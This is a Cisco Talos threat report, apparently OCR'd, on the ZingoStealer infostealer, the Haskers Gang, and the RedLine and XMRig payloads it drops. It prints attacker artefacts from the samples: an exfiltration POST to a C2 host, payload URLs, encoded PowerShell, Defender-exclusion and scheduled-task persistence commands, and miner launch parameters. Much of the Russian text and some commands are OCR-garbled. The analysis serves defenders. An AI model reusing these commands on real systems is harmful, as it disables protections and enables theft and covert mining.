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Threat Spotlight: "Haskers Gang" Introduces New ZingoStealer

By Edmund Brumaghin
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Update (04/14/22): Following the initial publication of this blog, we observed a new post in the Haskers Gang Telegram

channel announcing that ownership of the ZingoStealer project is being transferred to a new threat actor.

GINZO STEALER FREE STEALER BY HASKERS GANG
BHumanue! Mbl 06HOBUNU Hawero GoTa!
Bam HeobxofMMo CHOBa BBECTHM /start gna Toro, 4To66l 06HOBMTL GoTa

HemHoro o nocnegHnx coBbITUAX: CTUNNEPOM Tenepb Bnageet @CryptoGinzo, Npolwnsii Bnageney

Gonblue He NPUYacTeH K CTUANepPyY. Ha aHHbIA MOMEHT MPOEKT B HAAEXKHBIX PyKaX, 06 3TO C YBEPEHHOCTbIO
3anenaio A — Keepye

We also observed the malware author offering to sell the source code for ZingoStealer for $500 (negotiable).

GINZO STEALER FREE STEALER BY HASKERS GANG
UCXOAHUKKM BCEro aTOro NpoeKTa NpoaalnTca B CBA3U C PUHa npoe. TUMKal

MpuénusnTenbHas ueHa: ~500% (Bo3mMoxeH Topr)

B koMnnekTe: UcxogHWKKM 60Ta ¢ aBTOBbIAAYeH, NICXOAHWKWN CTUNNEPE, MCXOAHWKW CePBEPHON 4acTy.
MoxeM 3a AONONHUTENbHYIO nnaTty nepenncaTtb 4YTo-TO, CAeNnaTb CTUANEP NAATHLIM U Tak Aanee

KoHTaKTbl Ana noKynknu: @xxtrez

By Edmund Brumaghin and Vanja Svajcer, with contributions from Michael Chen.

» Cisco Talos recently observed a new information stealer, called "ZingoStealer" that has been released for free by a
threat actor known as "Haskers Gang."

» This information stealer, first introduced to the wild in March 2022, is currently undergoing active development and
multiple releases of new versions have been observed recently.

e The malware leverages Telegram chat features to facilitate malware executable build delivery and data exfiltration.

» The malware can exfiltrate sensitive information such as credentials, steal cryptocurrency wallet information, and
mine cryptocurrency on victims' systems.

o While this stealer is freely available and can be used by multiple threat actors, we have observed a focus on infecting
Russian speaking victims under the guise of game cheats, key generators and pirated software, which likely indicates
a current focus on home users.

o The threat actor "Haskers Gang" uses collaborative platforms such as Telegram and Discord to distribute updates,
share tooling and otherwise coordinate activities.

» In many cases, ZingoStealer also delivers additional malware such as RedLine Stealer and the XMRig

cryptocurrency mining malware to victims.

What is "Haskers Gang?"

Haskers Gang is a crimeware-related threat actor group active since at least January 2020, consisting of a small number of
original members. Their activity ranges from developing methods for stealing confidential information to cryptocurrency
mining, remote access and development of so-called "crypters" to avoid detection of malware by security and antivirus

software.

The group operates a Telegram channel to collaborate with other members, collect logs from systems infected with
ZingoStealer and publish announcements related to ongoing development efforts. The group also operates a similar
collaborative Discord server where new tooling is often shared to enable members to launch more successful intrusions,

improve antivirus evasion capabilities and otherwise disseminate tactics, techniques and procedures.

These communities consist of thousands of members and demonstrate that financially motivated cybercrime is increasingly
attractive to many people around the world. The core members of this crimeware group are likely located in Eastern Europe,

and many of the announcements and other communications are written in Russian.

Introduction to ZingoStealer

In early March 2022, while monitoring the communications between members of Haskers Gang, we observed the
announcement of the availability of a new information stealer called "ZingoStealer." This new malware was advertised as

being freely available to members of the Haskers Gang Telegram community.
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HASKERS COMMUNITY ' REFERENCES LIBRARY o
Penu3 6eCnNaTHOTG CTHANEPA yike Ha BaLIMX IKpaHax!

Msi pasi NpeacTasHTy Bam Haw GecnnaTHsii NPOAYKT, KOTOPbIA MOXET CBOBOAHO © NpoUMMK — @i bot

CTONLKO Bpemern 1 cn 6N MOTRAYEHD HE 3PA, ¥ HAC NONYIMNOCH CReNaTs And Bac KaYeCTBRHHBIH NPORKT (MOET Aaxe KauecTBeHHee, YeM NNATHSIe
aHanorv Ha Gopymax)

Met 04eH GnaroaapHe! Bam 3a IOMOWs W, KCTATh, OT NNATHLIX GYHKLMF # PeLIn 0TKA3ATLCA, BEPHYS CNOHCOPY ero aewbru. Bee ana Bac, sce 3a
6ecnnatuo!

O6pagyiiTe MeHs ToXe, NOCTABbTE PEAKLMI NOA NOCT &3
UPD: 5 He Gepy NPOLEHTOB/NOTOB ¢ 3TOrO CTNNEPA; NOTV HUTAE HE AYBRPYIOTCA U HHKTO KpOME Bac He HMEeT K HitM A0CTYNa

UPD2: noru ¢ CHI NPUXOAST A0 Tex Nop, Noka MeHs He Bbe6yT Oprabi, Aaxe ecu Bbe6yT — 5 Bac yBeaOMIo O TOM, YTO OTKAIDYAK OTETYK ¢ CHIM

ZingoStealer release announcement.

Since this announcement, we have observed a steady volume of ZingoStealer samples being uploaded to various malware

repositories.
The malware is offered in two "tiers" of options, with both versions of the malware precompiled and delivered via a

Telegram channel.

3akpunToBaTh GUNA

@ GINZO STEALER FREE STEALER BY HASKERS GANG ANTI-CIS

3akpunToBaTte 6MNA,
exoCrypt — 310 aBTOMaTU4eCKHiA CePBUC, KOTOPBIA 3aKpunTyeT TeGe ¢ain 3a cuMTaHHbIe CeKYHAb 0 NonHoro avaerekrta! (0/26)

— KPWNT XVEBET A0NbLUS, YeM Y KOHKYPEHTOB B 3TOM LIEHOBOM CerMeHTe
— YHUKanu3vpyem asToMaTn4eckn Ka)(ﬂhlﬁ crab nepea kpunTom

— rapaHTupoeaHHo obxoaum Windows Defender Ha ckaHTaiime

— nonpepxueaem .Net, Native daiinel (x32 & x6¢°

— HaknabiBaeM cepTUdUKAT Ha KaxKAbIA dain

AsTomaTudeckan npopaxa: @exoCrypt_bot (onnata Qiwi)
ApMUHUCTpaTop cepBuca: @xxirez (no Bcem Bonpocam)

CTOMMOCTb O{HOTO KpHUMTa cocTaBAsieT Bcero 300 py6nei!

AKTYanbHbIi ReTeKT: https://avcheck.net/id/DXdZNPEf1ZSu (0/26)

# B cnyuvae npobnem ¢ KpunTom — obpawainTech K agMWHUCTPaTOpPy

ZingoStealer and exoCrypt crypter integration.

For 300 Rubles (~$3 USD), Haskers Gang also offers a pre-built option that leverages their crypter, which they refer to as
"ExoCrypt." This allows affiliates to take advantage of antivirus evasion without requiring them to use a third-party builder

to package the malware prior to distributing it.

During our analysis of ZingoStealer, we observed the malware author behind the stealer incorporating the XMRig
cryptocurrency mining software into the stealer to further monetize their efforts by using systems infected by affiliates to

generate Monero for the malware author.

e HASKERS COMMUNITY '+ REFERENCES LIBRARY o
[l06poe YTPpo, AOPOTHE NOANMILHUHNKH -

[lasaiite cpasy o rnaBHoM:
Buepa f BWWN MalHep 8 Haww Gunaw GecnnatHoro cTuAnepa (@ginzostealer_bot), cpasy oTeeYy Ha BONPOC — CAENANM Myl 9TO C UE/LIC HACTHYHOIO
3apatoTka Ha CEPEEPa, 3 TAKKE HEKOTO no HEfIeN Mbl HaUHEM BECTH
CTATUCTHKY N0 NPMBEAGHHEIM NOTaM, @ CaMBIM aKTVBHBIM TRapdepam 3a Meca Byaem sxinnavnaate 50% OT BbIPYKKM MaiiHepa, HO 3TO NOKA AL, MOXET
BCe DBEPHETCA AaKE NyuWe W NPOUEHT Gy/eT Bbiwe.

O TOM, 4TO 5 BUIMN MaViHE A HUKOMY HE CKA3aN, HUKOTO HE YBEAOMMN, U KaK i NOHAN, HUKTO U He y3Han. fl Gbi ¥ AaNblie MOT ABPXKATH 3TO B CEKPETE, HO
F3BHAA UENb BCE XE B TOM, UTOGH BHINAAUUBATS HAHGONEE AKTMBHEIM ~50% OT EFO BHIPYUKY, NOSTOMY CKA3aTh, N0 MOBMY MHEHHIO, CTOMAO.

Yro penath ecni A 3anyckan Baiui 6WAAbI?
Huyero cTpawHoro, NPOCTo CNeAYeT ckauaTh Gain OTKOYEHMS
6ykeansHo 30-60 CeKyHA, @ NOCNE yXe oTKpLiBaiiTe uninstaller!

nanents Maiieps, 3aNYCKaTh ero CIeAYeT He Cpasy NOCNE TecTa 61Aa, NOAoHANTE

Miner release announcement sent to the channel on March 18.

While researching ZingoStealer, we observed additional functionality, cryptocurrency theft support, and other features added

frequently, indicating that this threat will likely continue to evolve and mature over time.
Distribution campaigns

As this stealer is being made available for free to members of the Haskers Gang community, it is likely being leveraged by a
variety of otherwise unrelated threat actors using various techniques to infect potential victims. We have observed a steady
volume of new samples in the wild and expect that this trend will continue. In many cases, ZingoStealer is currently being

distributed under the guise of game cheats, cracks and code generators.

In one example, the malware was being distributed under the guise of a game modification utility for "Counter-Strike:
Global Offensive." The threat actor posted a YouTube video demonstrating use of a tool purported to mod the popular video

game. The video description contained a link to the tool hosted on Google Drive.
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KPAK ZEER CHANGER 2022 | CIKAHATE INVENTORYCHANGER CSGO

624 views * Dec24, 2021 & 16 G DISLIKE ) SHARE =+ SAVE

. yoshima SUBSCRIBE
4 subserirs

KpAK - ZEER CHANGER

CxavaTE: hitps:y/drive.google.con/file/d/1 ZmG...
Napons K apxey 1111

Norm A (loader.exe): zeerchanger..

Naponk A7 (loaderexe): zeer_changer free

YouTube video description.

The hyperlink points to a password-protected RAR archive stored in Google Drive that contains an executable called

"loader.exe." This executable is responsible for infecting the system with ZingoStealer.

loader.rar 1iem

L] loader.exe Mar 22,2022 1ME

Google Drive content.

The video itself was posted well before the initial announcement of the availability of ZingoStealer, however, the modified
date for the content hosted on Google Drive was March 22, 2022. This indicates that the hyperlinks in the video descriptions

may be updated over time at the attacker's discretion.

In many cases, the ZingoStealer executable was observed being hosted on the Discord CDN, following naming conventions

similar to the following examples:

hXXps://cdn[.]discordappl[.]com/attachments/960542241498210334/960544850158166027/2_5357301132811048430.exe
hxxps://cdn[.]discordapp[.]Jcom/attachments/960542241498210334/960542756156100708/2_5357488762752341390.exe
hxxps://cdn[.]discordapp[.]Jcom/attachments/941227101351215104/960556192931938304/loader_cheat_for_roblox.exe
hxxps://cdn[.]discordapp[.]Jcom/attachments/810482847340429352/960156304029151302/Ginzo.exe

This may indicate threat actors are also distributing the malware within gaming-related Discord servers under the guise of

video game cheats.
Other Haskers Gang campaigns

In another example, we observed a threat actor posting a YouTube video purporting to be a way to obtain free plugins for

Adobe applications.
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HASKERS COMMUNITY REFERENCES LIBRARY
HA KAHANE POJIVK NPO AQOB NITATMH CO CTWNIEPOM, HE KAYAWMTE. HY>KHO BbU1O ANSA TYTOPWANA @malwareltd

MOCTABGLTE NANK W HAMWLWATE, YTO NNATMH PABOTAET HA AHITIMIACKOM, NMOXKANYACTA!

https://www.youtube.com/watch?v=SHoXOXyQQcl
YouTube
SAPPHIRE PLUGIN CRACK | MARCH 2022 | FREE
DOWNLOAD | MEGA.NZ | ADOBE AFTER EFFECTS
+ ADOBE PREMIER
In this video, I'll show you how to download Sapphire
Plugin for Adobe applications for free! Don't forget
to like and comment! | LOVE YOU ALL!Download
link:...

FC» ADOBE

Haskers Gang video announcement.

The video description contained a link to a supposed tool which used the Bitly URL-shortening service. When clicked, the
victim is redirected to a password-protected ZIP archive containing a malicious Windows executable hosted on the

Megal.]nz file-sharing website. The executable is packed and drops the RedLine information stealer on victims' systems.

The threat actor behind this distribution campaign also invited members of the Haskers Gang Telegram channel to post

positive comments in English to add legitimacy to the video and associated hyperlinks.

This is a secondary payload we've frequently observed coinciding with ZingoStealer infections. In many cases, ZingoStealer
retrieves a list of URLs hosted on the C2 server as "ginzolist.txt." The malware then attempts to retrieve the payloads hosted
at these URLSs, one of the most common being RedLine. We've also frequently observed XMRig being delivered to systems

infected with ZingoStealer.

ZingoStealer execution

The stealer is an obfuscated .NET executable. When executed on victim systems, it attempts to retrieve various .NET

dependencies that provide core functionality used by the malware from an attacker-controlled server.
The dependencies retrieved by the malware include:

» BouncyCastle.Crypto

¢ DotNetZip

* NewtonSoft.Json

« SQLite.Interop (For both x86 and x64)
¢ System.Data.SQLite

.NET component retrieval.

The retrieved DLL files are then stored in the directory from which the malware is currently running. In the case of
SQLite.Interop.dll, the malware retrieves the x86 and x64 versions and creates a subdirectory for each architecture before

storing the retrieved binaries.

MName ~ Date medified Type
b 4/4/202212:23 PM File folder
%56 4/4/202212:23 PM File folder
BouncyCastle.Crypto.dil 4,/47202212:23 PM Application extens... 2,548 KB
DotMetZip.dil 474/ Application extens... 461 KB
Mewtonsoft.Json.dll 474/ Application extens... 686 KB
Systemn.Data. 5QLite.dll 474y Application extens... 385 KB

.NET component directory.

The stealer then creates a directory structure which is used to collect and save sensitive information that is later exfiltrated to

the attacker. The location for this directory structure is:
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C:\Users\USERNAME>\AppData\Local\GinzoFolder

Within this directory, the malware creates subfolders to store various types of information that is collected by the malware.

These subdirectories include:

¢ Browsers
o Wallets
o Desktop Files

ZingoStealer then begins the system enumeration and data collection process, starting by taking a screenshot of the victim's

system and storing it as a PNG called "Screenshot.PNG" within the directory that was created earlier.

Next the malware begins to identify and collect sensitive information stored by web browsers installed on the system. This

includes saved local data, cookies, login data, etc.
It supports the major web browsers, including:

* Google Chrome
* Mozilla Firefox
¢ Opera

¢ Opera GX

Discovered information is saved within the directory structure we described previously.

The malware also attempts to enumerate environmental and system information. This data is saved within a text file called

"system.txt" which is also stored within the data staging directory and includes:

e IP address

¢ Computer name

e Username

¢ OS version

¢ Localization information
e Processor information
¢ System memory

e Screen resolution

e Start time

Next, ZingoStealer attempts to collect sensitive information, including user account tokens for collaboration software that
may be installed, including Discord and Telegram. As mentioned in our previous research related to abuse of collaboration
platforms, this information can be used to impersonate users, obtain victim account information, or otherwise abuse these

platforms and their users.

ZingoStealer also attempts to access information related to Chrome extensions that may be present within the victim's web

browser. This information is gathered from the following location:

C:\Users\USERNAME>\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\
<CHROME_EXTENSION_ID>

The malware specifically searches for extension data associated with the following cryptocurrency wallet extensions.

e TronLink
Nifty Wallet

¢ MetaMask

e MathWallet

¢ Coinbase Wallet

» Binance Wallet

» Brave Wallet

e Guarda

« EQUAL Wallet

* BitApp Wallet

o iWallet

¢ Wombat - Gaming Wallet

ZingoStealer then searches %APPDATA%\Local and %APPDATA%\Roaming for cryptocurrency wallet data associated

with the following cryptocurrencies.

e Zcash
e Armory
¢ Bytecoin

o Jaxx Liberty
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¢ Exodus
o Ethereum
o Electrum
¢ Atomic
e Guarda

¢ Coinomi

It also queries the registry (HKCU\SOFTWARE\<VALUE>) to identify settings associated with additional cryptocurrency

wallets, including:

¢ Bitcoin
e Dash

¢ Litecoin

Any files or directories present within the infected user's Desktop folder will also be copied to the staging directory. Any
data successfully collected throughout this process will be stored in the appropriate subdirectory within the data staging
directory. Once the collection process has been completed, DotNetZip creates an archive containing all the information,

which is then exfiltrated to an attacker-controlled server.

POST /glnzo.php?data:H&countc:B&cnuntp:(D&country:_&ip_&cuuntw:G) HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------—---—--—- 8da122df3f1865b

Host: nominally.ru

Content-Length: 222187

Expect: 100-continue

---------------- ---8da122df3f1865b
Content-Disposition: form-data; name="file"; filename="ginzoarchive.zip"
Content-Type: application/octet-stream

PR 3 fall SR B nae 8.Screenshot.png........... uR......
PO s FodDeacoo a0, (C05 0000 c 0o 00laeadincoos ZAN O U [T Bl S R
5 A n11n & He N 7 T J Fums n e h R AN L] n v nn

Data exfiltration.

The logs are then processed and delivered to the Haskers Gang Telegram channel so ZingoStealer users can access them.

@ GINZO STEALER FREE STEALER BY HASKERS GANG ANTI-CIS

o GINZO-Lithuania- [ - 21.03.2022.zip

Download

fata otetyka: 21.03.2022
Bpems orctyka: 07:16:40

1P anpec: [

"H¢OM3PLLH!I O AaHHBIX B nore

KonudecTteo cookie ¢ainoe: 0
KonuyecTeo Bcex nap
Konu4ecTBO KOWENbKOB

OTCYTCTBYIOT
YeegomneHume: ctapaitecs He paborats ¢ noramu CHI

cerMeHTa B TOM Cny4ae, ecnu Bol NpoxueaeTe Ha
TEPPUTOPUK 3TUX CTPaH!

Log delivery via Telegram.
The malware is also used as a loader for other malware payloads.

During the execution of the ZingoStealer payload, it retrieves the geolocation of the victim's system using freegeoipl.]app. It

then makes an HTTP GET request to the C2 server for a resource called "cis.txt." An example of this can be seen below.

Original request - Response

CIS check.
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This could be a reference to the Commonwealth of Independent States (CIS). Many financially motivated cybercriminals
located in CIS countries actively avoid infecting systems in these countries to avoid attracting local law enforcement
attention. Similar behavior is often observed, as ransomware operators often actively avoid targeting organizations located in
these countries. In one of the initial announcements related to ZingoStealer, the malware author mentioned that, while CIS
filtering is available, it is not currently in place, but it may be activated in the future based on local law enforcement
attention.

Following the geolocation check, the malware requests a list of URLSs that it uses to retrieve and execute additional malware

payloads, at the discretion of the attacker.

Original request ~ Response

t HITP/1.1

Secondary payload list retrieval.

This list of URLSs is saved into a text file called "ginzolist.txt" that is saved within the % APPDATA%\Local directory on the
victim system. The malware then retrieves the additional malware payloads hosted at these URLs and saves them within the
%APPDATA%\Local directory. An example of this can be seen below.

Original request -~ Respanse

Secondary payload binary retrieval.

In this particular case, the binary "sweet.exe" was associated with RedLine Stealer and saved at C:\Users\
<USERNAME>\AppData\Local\536075.exe.

While "antiwm.exe" was associated with an injector for the XMRig cryptocurrency miner and saved at C:\Users\
<USERNAME>\AppData\Local\209625.exe.

The retrieved binary payloads then continue the infection process.
ExoCrypt crypter

As previously mentioned, the malware author responsible for ZingoStealer also offers a crypter service that allows
ZingoStealer users to obtain encrypted ZingoStealer builds that assist with evading endpoint detection on systems. We

identified a binary loader for ZingoStealer that may be related to the use of this crypter.

File Version Information

Copyright Copyright © 2022
Product exogencryptik
Description exogencryptik

Original Name  exogencryptik.exe
Internal Name  exogencryptik.exe

File Version 1.0.0.0

Date signed 2018-10-01 20:01:00 UTG

Sample metadata.

The functionality of the code is straightforward: It is responsible for implementing a randomized sleep interval before
decrypting the contents of the ZingoStealer binary and saving the decrypted contents as % TEMP%\ChromeHandler.exe. It

then executes the ZingoStealer binary, initiating the normal infection process previously described.
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Main() function.

To decrypt the ZingoStealer binary, it retrieves the data from a resource present within the executable called "zvezdy" and
stores it within an array.

Zvezdy resource contents.

It then iterates through the array and performs a modulo operation on each of the values. Based on the results of the
operation, each byte is converted into the appropriate value and stored within a second array. An example of the
Decryption() function is shown below.

num

(num

(num +

(num

Decryption() function.

Finally, the second array is passed back to the Main() function, saved to disk as ZingoStealer, and executed to continue the

infection process.
RedLine Stealer

One of the secondary payloads delivered and executed by ZingoStealer is RedLine Stealer, a well-known information stealer
that has been analyzed extensively over the past couple of years. It features significantly more support for retrieving data

from various applications, browsers, cryptocurrency wallets and extensions.

Below is a basic comparison between the two stealers as it relates to supported applications from which the malware can
retrieve sensitive data to be exfiltrated to the attacker.
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Stealer Feature Comparison

Application
Data

Browser
Extensions

Cryptocurrency
Wallets

NordVPN
OpenVPN
ProtonVPN
Google Chrome
Chromium
Opera
Microsoft Edge
Internet Explorer
FileZilla

Discord
Telegram
Battle.Net
Maple Studio
ChromePlus
Iridium Browser

Yoroi

TronLink

Nifty Wallet
MetaMask
Math Wallet
Coinbase Wallet
Binance Wallet
Brave Wallet
Guarda

EQUAL Wallet
Jaxx Liberty
BitApp Wallet
iWallet

Wombat - Gaming
Wallet )
ygen - Atomic
Crypto Wallet

MEW C
GuildWallet

Armary
atomic
Binance
Coinomi

7Star Browser
CentBrowser
Chedot Browser
Vivaldi Browser
Kometa Browser
Elements Brows-
er

Epic Privacy
Browser
uCozMedia Uran
Sleipnir

Citrio Browser
Coowon Browser
Liebao Browser
QiP Surf

Saturn Wallet
Ronin Wallet
Terra Station
Wallet

Harmony Chrome
Extension Wallet
Coin98

EVER Wallet
KardiaChain
Wallet

Phantom

Pali Wallet
BOLT X

Liquality Wallet
XDEF| Wallet
Nami

Maiar DeFi Wallet
Authenticator

Temple -
Tezos Wallet

Electrum
Exodus
Guarda

Chrome
Firefox
Opera
Opera GX
Discord
Telegram

TronLink

Nifty Wallet
MetaMask
Math Wallet
Coinbase Wallet
Binance Wallet
Brave Wallet
Guarda

EQUAL Wallet
BitApp Wallet
iwallet
Wombat -
Gaming Wallet

Zcash + atomic
Armory Guarda
bytecoin Coinomi
Jaxx Liberty « Litecoin
Exodus + Dash
Ethereum + Bitcoin
Electrum

Stealer feature comparison.

Given that RedLine Stealer seems to provide more capabilities, why would an adversary use ZingoStealer to deliver
RedLine Stealer?

Besides ZingoStealer, the malware author also offers additional services that they advertise within the Haskers Gang
community. One service is a "log access service" used to monetize information stealer logs obtained from previously
infected systems. Customers can purchase access to the log data generated from various stealers operated by the attacker,
which provides them sensitive account information that can be further leveraged for a variety of purposes including initial

access, fraud, etc.

@ GINZO STEALER

Yekep noroe

FREE STEALER BY HASKERS GANG ANTI-CIS

HTM Checker — goCTynHbIi, KAYECTBEHHbIN U YA0BHbINM Yekep Balumx N0Oros, KOTOPbIA NO3BOAKMT Bam
MakcumanbHo BeicTpo paboTaTh ¢ BawmnMu noramu, a 4To camoe raBHoe — He TepaTb HU py6ns npubbinu! Mol
CTapanuch co3AaTb MakKCUMa/bHO AOCTYNHbLIA NPOAYKT ANA KaXA0ro, YAenss MakcMyM BHUMaHWUA KaXaoMmy
acnekTy, 4ToBbl yroAuTb KaxaoMy nosb3osaTento!

Mbi nopAepxuBaeM 17 cepBUCOB, KOTOPbIE NO3BONAT BaM BbIKaTh C IOrOB MaKCUMYM NPUGLINM:
GooglePay, Facebook, Twitter, Youtube, Instagram, FreeBitcoin, Netflix, Steam, Twitch, Path of Exile, TikTok,
BroHTakTe, Wordpress, Epic Games, Yandex Main (parser), BattleNet, Roblox!

LleHa Hallero npoayKTa: Mbl CTapanich BbIGpaTh MAGaNbHYIO CTOMMOCTb Halllero NPoayKTa, U 0CTaHOBUAUCH Ha
MaKCUMManbHO TONEPAHTHBIX LLeHaX Ana Kaxaoro!

— OAMH Mecsal NOAMNUCKWM Ha Haw 4ekep — 599 py6nen
— Tpu Mecsaua nognucky Ha Haw Yekep — 1599 pybnei

Advertisement for the logging service.

The malware author behind ZingoStealer assures ZingoStealer users that they do not access log data generated by

ZingoStealer.
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UPD: s He Gepy NPOLEHTOB/NIONOB C 3TOr0 CTUANEPa; NOTKU HUrAe He AyBNUPYIOTCS U HUKTO Kpome Bac He umeeT
K HUM [,0CTYMa

UPD2: noru ¢ CHIM npuxogaT fo Tex nop, noka MeHs He BbebyT opraxbl, Aaxe ecnu sbebyT — s Bac yBegomnio
0 TOM, 4TO OTKAIOYaK oTCTyK ¢ CHIM

Actor's assurance they do not take interest in the uploaded stolen logs.

However, by effectively backdooring ZingoStealer and using it to deliver RedLine Stealer, they can still take advantage of
the infections achieved by ZingoStealer users. This allows them to let ZingoStealer users perform the heavy lifting in terms
of malware distribution, antivirus evasion, and achieving successful infections, while they passively collect more
comprehensive logs from the systems. This also allows them to monetize the infections of all ZingoStealer users

simultaneously, maximizing profitability.
The RedLine Stealer configuration extracted from analyzed samples contained the following parameters.
{"ip": "193[.]138[.]1235[.]1228:45347", "xor_key": "Zag", "id": "keepye"}

The value "keepye" stored within the ID field of the configuration matches the username associated with an individual

suspected to be behind development of ZingoStealer.

Keepye (I
)

Ka)kgbli X04eT HEMHOrO, a 51 XO4y BCHO NMNaHeTy

\} O N L — fo u— v T 1/

Threat actor social media profile.

ZingoMiner (XMRig)

In addition to RedLine Stealer, ZingoStealer also delivers the XMRig cryptocurrency mining malware to victims. This is

another way the malware author behind ZingoStealer is attempting to monetize the operations of ZingoStealer users.

This was confirmed when the author of ZingoStealer published an announcement within the Haskers Gang Telegram group

informing the community that they had added XMRig to a new version of ZingoStealer as previously described.

As mentioned, the main binary payload associated with the mining malware is retrieved and executed by ZingoStealer

during the initial infection process. It is then executed using conhost.exe as shown below.
"C:\Windows\System32\conhost.exe" "C:\Users\SUSERNAME>\AppData\Local\209625.exe"

Once executed, it invokes PowerShell using the EncodedCommand option, specifying Base64-encoded PowerShell

commands to execute.

cmd /c powershell -EncodedCommand
"QQBKAGQALQBNAHAAUABYAGUAZgBIAHIAZQBUAGMAZQAgACOARQB4AGMAbAB1AHMAaQBVAG4AUABhAHQAaAAgAEAAKAAK

& powershell -EncodedCommand
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"QQBKAGQALQBNAHAAUABYAGUAZgBIAHIAZQBUAGMAZQAgACOARQB4AGMAbAB1AHMAaQBVAG4ARQB4AHQAZQBuUAHMAaQBv
& exit"

This PowerShell is responsible for creating two exclusions in the Windows Defender configuration on the system.

Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Add-MpPreference -ExclusionExtension @(‘exe','dll") -Force

It also attempts to achieve persistence for the miner, ensuring that it is executed following system reboots. This is

accomplished by creating a new scheduled task using the following syntax:

schtasks /create /f /sc onlogon /rl highest /tn "updater" /tr "C:\Users\
<USERNAME>\AppData\Roaming\Chrome\updater.exe"

Finally, the malware copies itself from its initial starting location to match the path defined in the scheduled task, and then

executes the newly created executable.

"C:\Windows\System32\conhost.exe" "C:\Users\SUSERNAME>\AppData\Roaming\Chrome\updater.exe"
This executable is also responsible for creating and executing a binary located at:
C:\Users\USERNAME>\AppData\Roaming\Windows\Telemetry\sihost64.exe

It also creates a file at the following location:
C:\Users\USERNAME>\AppData\Roaming\Windows\Libs\WR64.sys

Finally, it invokes explorer.exe with the following parameters.

C:\Windows\explorer.exe shpiczjxwdufjl0
Xji3FXY fqql2timPThbgZueMNpSES88mLhMz2ywydJRha9S4Y JkR8/KlqFio/vzAY 7y//ZROYnArPXLiffwPB7VSAkqgxepfHfbYtEaV9ZbG09TvsFZSe

This injects XMRig into the explorer.exe process and begins the cryptocurrency mining operations. The XMRig client is

launched with the following command line parameters:

\Windows\explorer.exe --algo=rx/0 --randomx-no-rdmsr --url=pool[.]hashvault[.]pro:80 --
user=47tAzTKZcJuCui5Bx2FPVoA7UvWoz1QvRCFF1Bpvej5yGJuPPBgqTC8NG95Q3sMwsY V34eonCD3RVSEpSdhxaPRKSiagNNi
--pass= --cpu-max-threads-hint=30 --cinit-stealth-

targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" --cinit-

api="hxxps://control[.]Jnominally[.]ru/api/endpoint.php" --tls --cinit-idle-wait=5 --cinit-idle-cpu=90

Infected systems periodically send beacon data to the API specified when XMRig was launched. These beacons are

consistent with the following example:

{"computername":"<HOSTNAME>","username":"<HOSTNAME>","gpu":"
<REDACTED>","remoteconfig":"","type":"xmrig","status":4,"ughash":"<REDACTED>"}

Investigating the pool address specified by the malware shows that the hash rate has continued to increase as more systems

are infected with ZingoStealer, however it has not proven to be very lucrative thus far.

4TA RCFF18pve) ihxaPRKSiaghNi X

] GENERAL >_ STREAM & SHARES © REWARDS (21) (] PAYMENTS (81) D BLOCKS (0] 0) © SETTINGS.

Mining Pool Statistics
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Conclusion

ZingoStealer is a relatively new information stealer being offered for free to members of the Haskers Gang Telegram group.
It features the ability to steal sensitive information from victims and can download additional malware to infected systems.
In many cases, this includes the RedLine Stealer and an XMRig-based cryptocurrency mining malware that is internally
referred to as "ZingoMiner." While the malware is new, Cisco Talos has observed that it is undergoing consistent
development and improvement and that the volume of new samples being observed in the wild continues to increase as more
threat actors attempt to leverage it for nefarious purposes. In many of the distribution campaigns we have observed
associated with ZingoStealer, threat actors appear to be targeting home users and distributing their malware under the guise
of video game cracks, cheats, and other similar content. Users should be aware of the threats posed by these types of

applications and should ensure that they are only executing applications distributed via legitimate mechanisms.

Coverage

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in

this post. Try Secure Endpoint for free here.

Product Protection

Cisco Secure Endpoint
(AMP for Endpoints)

Cloudlock
Cisco Secure Email

Cisco Secure Firewall/Secure IPS
(Network Security)

Cisco Secure Malware Analytics
(Threat Grid)

Umbrella

Cisco Secure Web Appliance
(Web Security Appliance)

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their

campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense

Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure

products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs,

whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests

suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall

Management Center.
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https://meraki.cisco.com/products/appliances
https://www.cisco.com/c/en/us/products/security/threat-grid/index.html
https://umbrella.cisco.com/
https://signup.umbrella.com/?utm_medium%3Dweb-referral?utm_source%3Dcisco%26utm_campaign%3Dumbrella-free-trial%26utm_term%3Dpgm-talos-trial%26utm_content%3Dautomated-free-trial
https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html
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Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for

purchase on Snort.org.

The following Snort SIDs are applicable to this threat: 59145, 59160, 59500 and 59501.
Orbital Queries

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are

infected with this specific threat. For specific OSqueries on this threat, click here and here.

Indicators of Compromise

Indicators of Compromise associated with this threat can be found here.

Source: https://blog.talosintelligence.com/haskers-gang-zingostealer;
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